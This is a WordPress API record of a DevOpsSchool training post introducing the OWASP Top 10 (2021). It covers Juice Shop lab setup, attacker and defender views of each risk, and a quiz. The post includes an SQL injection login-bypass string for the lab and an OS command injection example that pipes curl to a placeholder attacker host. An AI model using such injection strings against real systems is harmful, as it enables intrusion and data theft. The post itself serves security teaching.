{"id":53842,"date":"2025-10-11T00:50:11","date_gmt":"2025-10-11T00:50:11","guid":{"rendered":"https:\/\/www.devopsschool.com\/blog\/?p=53842"},"modified":"2025-10-11T00:58:44","modified_gmt":"2025-10-11T00:58:44","slug":"owasp-introduction-to-owasp-top-10-security-risks","status":"publish","type":"post","link":"https:\/\/www.devopsschool.com\/blog\/owasp-introduction-to-owasp-top-10-security-risks\/","title":{"rendered":"OWASP: Introduction to OWASP Top 10 Security Risks"},"content":{"rendered":"\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>Resource<\/th><th>Title<\/th><\/tr><\/thead><tbody><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A1_2017-Injection\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Injection<\/a><\/td><td>OWASP Injection<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A2_2017-Broken_Authentication\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Broken Authentication<\/a><\/td><td>OWASP Broken Authentication<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A3_2017-Sensitive_Data_Exposure\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Sensitive Data Exposure<\/a><\/td><td>OWASP Sensitive Data Exposure<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A4_2017-XML_External_Entities_(XXE)\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP XML External Entities<\/a><\/td><td>OWASP XML External Entities<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A5_2017-Broken_Access_Control\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Broken Access Control<\/a><\/td><td>OWASP Broken Access Control<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A6_2017-Security_Misconfiguration\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Security Misconfiguration<\/a><\/td><td>OWASP Security Misconfiguration<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A7_2017-Cross-Site_Scripting_(XSS)\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Cross-Site Scripting (XSS)<\/a><\/td><td>OWASP Cross-Site Scripting (XSS)<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A8_2017-Insecure_Deserialization\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Insecure Deserialization<\/a><\/td><td>OWASP Insecure Deserialization<\/td><\/tr><tr><td><a href=\"https:\/\/owasp.org\/www-project-top-ten\/2017\/A9_2017-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP Using Components with Known Vulnerabilities<\/a><\/td><td>OWASP Using Components with Known Vulnerabilities<\/td><\/tr><tr><td><a href=\"https:\/\/nvd.nist.gov\/\" target=\"_blank\" rel=\"noreferrer noopener\">National Vulnerability Database<\/a><\/td><td>National Vulnerability Database<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Introduction to the OWASP Top 10 (2021)<\/h1>\n\n\n\n<p><br><strong>Prereqs:<\/strong> Basic web app knowledge (HTTP, HTML\/JS), command line familiarity<br><strong>Goal:<\/strong> Understand the OWASP Top 10 2021 risks from attacker and defender perspectives, and practice the most common exploits safely in OWASP Juice Shop.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Learning Outcomes<\/h2>\n\n\n\n<p>By the end, you\u2019ll be able to:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Explain what OWASP is and why the Top 10 matters.<\/li>\n\n\n\n<li>Install and run OWASP Juice Shop in a safe lab.<\/li>\n\n\n\n<li>Describe each 2021 Top 10 category, how attackers exploit it, and how to mitigate it.<\/li>\n\n\n\n<li>Perform and defend against common <strong>Injection<\/strong> and <strong>XSS<\/strong> attacks.<\/li>\n\n\n\n<li>Build practical controls: least privilege, logging &amp; monitoring, CSP, patch management, and secure defaults.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 1 \u2014 Meet OWASP<\/h1>\n\n\n\n<p><strong>What is OWASP?<\/strong><br>The <strong>Open Web Application Security Project<\/strong> is a nonprofit community improving software security through projects like:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>OWASP Top 10<\/strong> (this course)<\/li>\n\n\n\n<li><strong>OWASP Juice Shop<\/strong> (intentionally vulnerable app for practice)<\/li>\n\n\n\n<li><strong>ModSecurity Core Rule Set (CRS)<\/strong> (WAF rules)<\/li>\n\n\n\n<li><strong>OWASP API Security Top 10<\/strong><\/li>\n<\/ul>\n\n\n\n<p><strong>Why the Top 10?<\/strong><br>It\u2019s a consensus view of the most critical web app risks. Use it for threat modeling, secure coding standards, training, and security testing scope.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 2 \u2014 Lab Setup: OWASP Juice Shop (Docker on Kali\/Ubuntu)<\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Time:<\/strong> 10\u201315 minutes<\/p>\n<\/blockquote>\n\n\n\n<p><strong>Step 1: Install Docker<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\" aria-describedby=\"shcb-language-1\" data-shcb-language-name=\"CSS\" data-shcb-language-slug=\"css\"><span><code class=\"hljs language-css\"><span class=\"hljs-selector-tag\">sudo<\/span> <span class=\"hljs-selector-tag\">apt<\/span> <span class=\"hljs-selector-tag\">update<\/span>\n<span class=\"hljs-selector-tag\">sudo<\/span> <span class=\"hljs-selector-tag\">apt<\/span> <span class=\"hljs-selector-tag\">install<\/span> <span class=\"hljs-selector-tag\">-y<\/span> <span class=\"hljs-selector-tag\">docker<\/span><span class=\"hljs-selector-class\">.io<\/span>\n<span class=\"hljs-selector-tag\">sudo<\/span> <span class=\"hljs-selector-tag\">systemctl<\/span> <span class=\"hljs-selector-tag\">enable<\/span> <span class=\"hljs-selector-tag\">--now<\/span> <span class=\"hljs-selector-tag\">docker<\/span>\n<\/code><\/span><small class=\"shcb-language\" id=\"shcb-language-1\"><span class=\"shcb-language__label\">Code language:<\/span> <span class=\"shcb-language__name\">CSS<\/span> <span class=\"shcb-language__paren\">(<\/span><span class=\"shcb-language__slug\">css<\/span><span class=\"shcb-language__paren\">)<\/span><\/small><\/pre>\n\n\n<p><strong>Step 2: Run Juice Shop<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\"><span><code class=\"hljs\">sudo docker pull bkimminich\/juice-shop\nsudo docker run -d -p 8080:3000 --name juice bkimminich\/juice-shop\n<\/code><\/span><\/pre>\n\n\n<p><strong>Step 3: Access the app<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Browse to <code>http:\/\/&lt;your-public-ip>:8080<\/code> (or <code>http:\/\/localhost:8080<\/code> if local)<\/li>\n\n\n\n<li>You\u2019re ready to practice! (Never expose this to the public internet.)<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Tip:<\/strong> If <code>docker run<\/code> fails for permissions, prepend <code>sudo<\/code>.<\/p>\n<\/blockquote>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 3 \u2014 2017 \u2192 2021 Changes (Quick Map)<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Broken Access Control<\/strong> rose to <strong>#1<\/strong>.<\/li>\n\n\n\n<li><strong>Sensitive Data Exposure<\/strong> recategorized as <strong>Cryptographic Failures<\/strong>.<\/li>\n\n\n\n<li><strong>Broken Authentication<\/strong> \u2192 <strong>Identification &amp; Authentication Failures<\/strong>.<\/li>\n\n\n\n<li><strong>XXE<\/strong> folded into <strong>Security Misconfiguration<\/strong>.<\/li>\n\n\n\n<li><strong>XSS<\/strong> folded into <strong>Injection<\/strong>.<\/li>\n\n\n\n<li><strong>Insecure Deserialization<\/strong> \u2192 <strong>Software &amp; Data Integrity Failures<\/strong>.<\/li>\n\n\n\n<li><strong>Using Components with Known Vulnerabilities<\/strong> \u2192 <strong>Vulnerable &amp; Outdated Components<\/strong>.<\/li>\n\n\n\n<li>New on list: <strong>Server-Side Request Forgery (SSRF)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p>Use this when updating legacy checklists and training.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 4 \u2014 The OWASP Top 10 (2021), Explained<\/h1>\n\n\n\n<p>For each risk: <strong>Attacker View \u2192 What Can Go Wrong \u2192 Defenses<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">1) Broken Access Control<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Force-browsing to privileged URLs (<code>\/admin<\/code>), IDOR (changing <code>?userId=123<\/code> to <code>124<\/code>), abusing missing server-side checks.<\/p>\n\n\n\n<p><strong>What goes wrong:<\/strong> Users read\/modify other users\u2019 data, escalate privileges.<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Enforce <strong>server-side<\/strong> authorization checks on every request.<\/li>\n\n\n\n<li><strong>Least privilege<\/strong> roles &amp; permissions; deny by default.<\/li>\n\n\n\n<li>Use framework authz annotations\/policies; test IDOR explicitly.<\/li>\n\n\n\n<li>Invalidate JWTs on logout; don\u2019t trust client-side claims alone.<\/li>\n\n\n\n<li>Log &amp; alert on access denials and unusual patterns.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">2) Cryptographic Failures<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Sniff data in transit, harvest plaintext secrets at rest, exploit weak ciphers\/outdated TLS.<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>TLS everywhere<\/strong>; enable <strong>HSTS<\/strong> header.<\/li>\n\n\n\n<li>Strong algorithms &amp; key sizes; rotate keys.<\/li>\n\n\n\n<li>Never log secrets; use KMS\/secret managers.<\/li>\n\n\n\n<li>Don\u2019t decrypt\u2192re-encrypt across untrusted hops; keep data encrypted end-to-end where feasible.<\/li>\n\n\n\n<li>Classify data; encrypt sensitive data at rest and in transit.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">3) Injection (SQL\/NoSQL\/OS\/LDAP + XSS included)<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Craft input that alters interpreter behavior:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SQL: <code>' OR 1=1--<\/code><\/li>\n\n\n\n<li>OS: <code>; curl http:\/\/attacker\/\u2026<\/code><\/li>\n\n\n\n<li>LDAP\/NoSQL: unescaped filters<\/li>\n\n\n\n<li>XSS (now under Injection): run arbitrary JS in the victim browser.<\/li>\n<\/ul>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Parameterized queries<\/strong> \/ prepared statements.<\/li>\n\n\n\n<li><strong>Input validation<\/strong> (allow-list) + <strong>output encoding<\/strong>.<\/li>\n\n\n\n<li>For XSS: <strong>CSP<\/strong> (no inline scripts), escape context-specifically (HTML\/JS\/URL).<\/li>\n\n\n\n<li>Run app with least OS\/database privileges.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">4) Insecure Design<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Exploit flawed business logic (e.g., coupon misuse, weak workflow checks).<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Threat model early (STRIDE, abuse cases).<\/li>\n\n\n\n<li>Security requirements &amp; <strong>secure design patterns<\/strong> (reference architectures).<\/li>\n\n\n\n<li>Break glass reviews for high-risk flows (auth, payments, exports).<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">5) Security Misconfiguration<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Default creds, verbose errors, open S3 buckets, debug enabled in prod.<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Hardened baselines; <strong>disable defaults<\/strong> and services you don\u2019t use.<\/li>\n\n\n\n<li><strong>Infrastructure as Code<\/strong> with peer-reviewed templates.<\/li>\n\n\n\n<li>Centralized config secrets; environment-specific safe defaults.<\/li>\n\n\n\n<li>Patch and scan for drift; secure HTTP headers.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">6) Vulnerable &amp; Outdated Components<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Race to exploit NVD\/CVE disclosures and Shodan-exposed targets.<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>SBOM<\/strong> + dependency inventory.<\/li>\n\n\n\n<li>Automated dependency updates (Dependabot\/Renovate).<\/li>\n\n\n\n<li>Risk-based patch SLAs; block builds on critical CVEs.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">7) Identification &amp; Authentication Failures<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Credential stuffing, weak passwords, long-lived sessions.<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>MFA<\/strong> for all sensitive actions.<\/li>\n\n\n\n<li>Strong password policy + breach checks.<\/li>\n\n\n\n<li>Session timeouts, <code>SameSite\/HttpOnly\/Secure<\/code> cookies; don\u2019t expose session IDs in URLs.<\/li>\n\n\n\n<li>Rate limiting login; lockout\/cooldowns.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">8) Software &amp; Data Integrity Failures<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Supply chain exploits (malicious updates, tampered packages).<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Signed artifacts<\/strong> (Sigstore\/Cosign); verify on deploy.<\/li>\n\n\n\n<li>Pin dependencies; restrict build permissions.<\/li>\n\n\n\n<li>Immutable, reproducible builds.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">9) Security Logging &amp; Monitoring Failures<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Operate without detection; persistence and lateral movement.<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Log <strong>auth<\/strong>, <strong>privileged actions<\/strong>, <strong>data access<\/strong>, and <strong>errors<\/strong> with timestamps and request IDs.<\/li>\n\n\n\n<li>Centralize to a <strong>SIEM<\/strong>; alert on brute-force, access denials, anomaly spikes.<\/li>\n\n\n\n<li>Incident response runbooks and regular drills.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">10) Server-Side Request Forgery (SSRF)<\/h2>\n\n\n\n<p><strong>Attacker view:<\/strong> Coerce server to fetch internal URLs (IMDS, admin consoles).<\/p>\n\n\n\n<p><strong>Defenses<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Deny egress to internal networks; URL allow-lists.<\/li>\n\n\n\n<li>Validate\/normalize URLs server-side; disable redirects.<\/li>\n\n\n\n<li>Use IMDSv2 \/ metadata service hardening in cloud.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 5 \u2014 Hands-On Labs (Juice Shop)<\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Always attack only your lab environment.<\/strong><\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">Lab A: SQL Injection (Login Bypass)<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Open Juice Shop \u2192 Login.<\/li>\n\n\n\n<li>In <strong>Email<\/strong>: <code>'+OR 1=1--<\/code><br>Password: anything.<\/li>\n\n\n\n<li>Observe admin login (or enumerated user).<\/li>\n<\/ol>\n\n\n\n<p><strong>Why it works:<\/strong> The injected predicate forces the WHERE clause true; <code>--<\/code> comments out the remainder.<\/p>\n\n\n\n<p><strong>Fix it (conceptually):<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use parameterized queries.<\/li>\n\n\n\n<li>Sanitize input and enforce types\/length.<\/li>\n\n\n\n<li>Minimize DB privileges (no writes for read-only flows).<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Lab B: XSS (Reflected\/DOM)<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Use the search field.<\/li>\n\n\n\n<li>Try a harmless payload that proves script execution (e.g., DOM-based XSS using an injected element).<\/li>\n<\/ol>\n\n\n\n<p><strong>Defenses to discuss:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Encode output per context.<\/li>\n\n\n\n<li>CSP with no inline scripts; script-nonce.<\/li>\n\n\n\n<li>Validate and reject unexpected characters for specific fields.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 6 \u2014 Secure Defaults in Cloud (Mini Demo Plan)<\/h1>\n\n\n\n<p><strong>Example: S3 bucket hardening checklist<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Block public access (account &amp; bucket level).<\/li>\n\n\n\n<li>Default encryption (SSE-S3 or SSE-KMS).<\/li>\n\n\n\n<li>Least-privilege bucket policies and IAM roles.<\/li>\n\n\n\n<li>Versioning &amp; access logging enabled.<\/li>\n<\/ul>\n\n\n\n<p>(Adapt similar hardening for web servers, DBs, object stores.)<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 7 \u2014 Quick Checks (Assessments)<\/h1>\n\n\n\n<p><strong>5 questions<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Which control best prevents IDOR?<br>a) CSP b) Server-side authorization per object c) Captcha<br><strong>Ans:<\/strong> b<\/li>\n\n\n\n<li>Storing SSNs in plaintext violates which category most directly?<br><strong>Ans:<\/strong> Cryptographic Failures<\/li>\n\n\n\n<li>The most reliable fix for SQL injection is:<br><strong>Ans:<\/strong> Parameterized queries<\/li>\n\n\n\n<li>Which header helps reduce XSS impact?<br><strong>Ans:<\/strong> Content-Security-Policy (CSP)<\/li>\n\n\n\n<li>Which is a hallmark of SSRF?<br><strong>Ans:<\/strong> Server makes requests to internal resources on attacker\u2019s behalf<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Module 8 \u2014 Operationalizing the Top 10<\/h1>\n\n\n\n<p><strong>Team Playbook<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Build time:<\/strong> lint\/scan deps; block high CVEs; unit tests for authz and validation.<\/li>\n\n\n\n<li><strong>Pre-prod:<\/strong> DAST on key flows; threat model delta changes.<\/li>\n\n\n\n<li><strong>Prod:<\/strong> SIEM alerts, WAF with CRS, rate limits, auth anomalies.<\/li>\n\n\n\n<li><strong>Governance:<\/strong> Update secure coding standards to 2021 categories; training + labs quarterly.<\/li>\n<\/ul>\n\n\n\n<p><strong>Headers Starter Pack (examples)<\/strong><\/p>\n\n\n<pre class=\"wp-block-code\" aria-describedby=\"shcb-language-2\" data-shcb-language-name=\"HTTP\" data-shcb-language-slug=\"http\"><span><code class=\"hljs language-http\"><span class=\"hljs-attribute\">Strict-Transport-Security<\/span>: max-age=31536000; includeSubDomains\n<span class=\"hljs-attribute\">Content-Security-Policy<\/span>: default-src 'self'; object-src 'none'; base-uri 'self'\n<span class=\"hljs-attribute\">X-Content-Type-Options<\/span>: nosniff\n<span class=\"hljs-attribute\">Referrer-Policy<\/span>: no-referrer\n<span class=\"hljs-attribute\">Permissions-Policy<\/span>: geolocation=(), camera=()\n<\/code><\/span><small class=\"shcb-language\" id=\"shcb-language-2\"><span class=\"shcb-language__label\">Code language:<\/span> <span class=\"shcb-language__name\">HTTP<\/span> <span class=\"shcb-language__paren\">(<\/span><span class=\"shcb-language__slug\">http<\/span><span class=\"shcb-language__paren\">)<\/span><\/small><\/pre>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Cheatsheets &amp; Job Aids<\/h1>\n\n\n\n<p><strong>Injection Defense (DB)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Prepared statements only<\/li>\n\n\n\n<li>ORM escaping rules respected<\/li>\n\n\n\n<li>Input allow-lists, length limits<\/li>\n\n\n\n<li>Read-only DB roles for read paths<\/li>\n<\/ul>\n\n\n\n<p><strong>Auth &amp; Session<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>MFA + breached password checks<\/li>\n\n\n\n<li>Short session TTL; refresh tokens rotated<\/li>\n\n\n\n<li>Cookies: <code>Secure; HttpOnly; SameSite=Strict<\/code><\/li>\n<\/ul>\n\n\n\n<p><strong>Access Control<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Enforce server-side, per-object checks<\/li>\n\n\n\n<li>Deny-by-default routes<\/li>\n\n\n\n<li>Role reviews every release<\/li>\n<\/ul>\n\n\n\n<p><strong>Logging &amp; IR<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Centralize logs with request IDs<\/li>\n\n\n\n<li>Alert on 401\/403 spikes, failed logins, admin actions<\/li>\n\n\n\n<li>Incident runbooks and on-call<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Conclusion &amp; Next Steps<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Keep practicing in <strong>OWASP Juice Shop<\/strong>\u2014repeat the labs and try new challenges.<\/li>\n\n\n\n<li>Fold these controls into your pipelines: dependency updates, IaC hardening, authz tests, and headers.<\/li>\n\n\n\n<li>Stay engaged with your local OWASP chapter and the broader community.<\/li>\n<\/ul>\n\n\n\n<p><strong>Stretch Goals<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Add WAF (ModSecurity CRS) in front of Juice Shop and observe blocked payloads.<\/li>\n\n\n\n<li>Implement CSP nonces and measure what breaks\u2014then fix it the right way.<\/li>\n\n\n\n<li>Generate an SBOM and track CVEs over time.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Resource Title OWASP Injection OWASP Injection OWASP Broken Authentication OWASP Broken Authentication OWASP Sensitive Data Exposure OWASP Sensitive Data Exposure OWASP XML External Entities OWASP XML External Entities OWASP Broken&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"_joinchat":[],"footnotes":""},"categories":[11138],"tags":[],"class_list":["post-53842","post","type-post","status-publish","format-standard","hentry","category-best-tools"],"_links":{"self":[{"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/posts\/53842","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/comments?post=53842"}],"version-history":[{"count":3,"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/posts\/53842\/revisions"}],"predecessor-version":[{"id":53845,"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/posts\/53842\/revisions\/53845"}],"wp:attachment":[{"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/media?parent=53842"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/categories?post=53842"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.devopsschool.com\/blog\/wp-json\/wp\/v2\/tags?post=53842"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}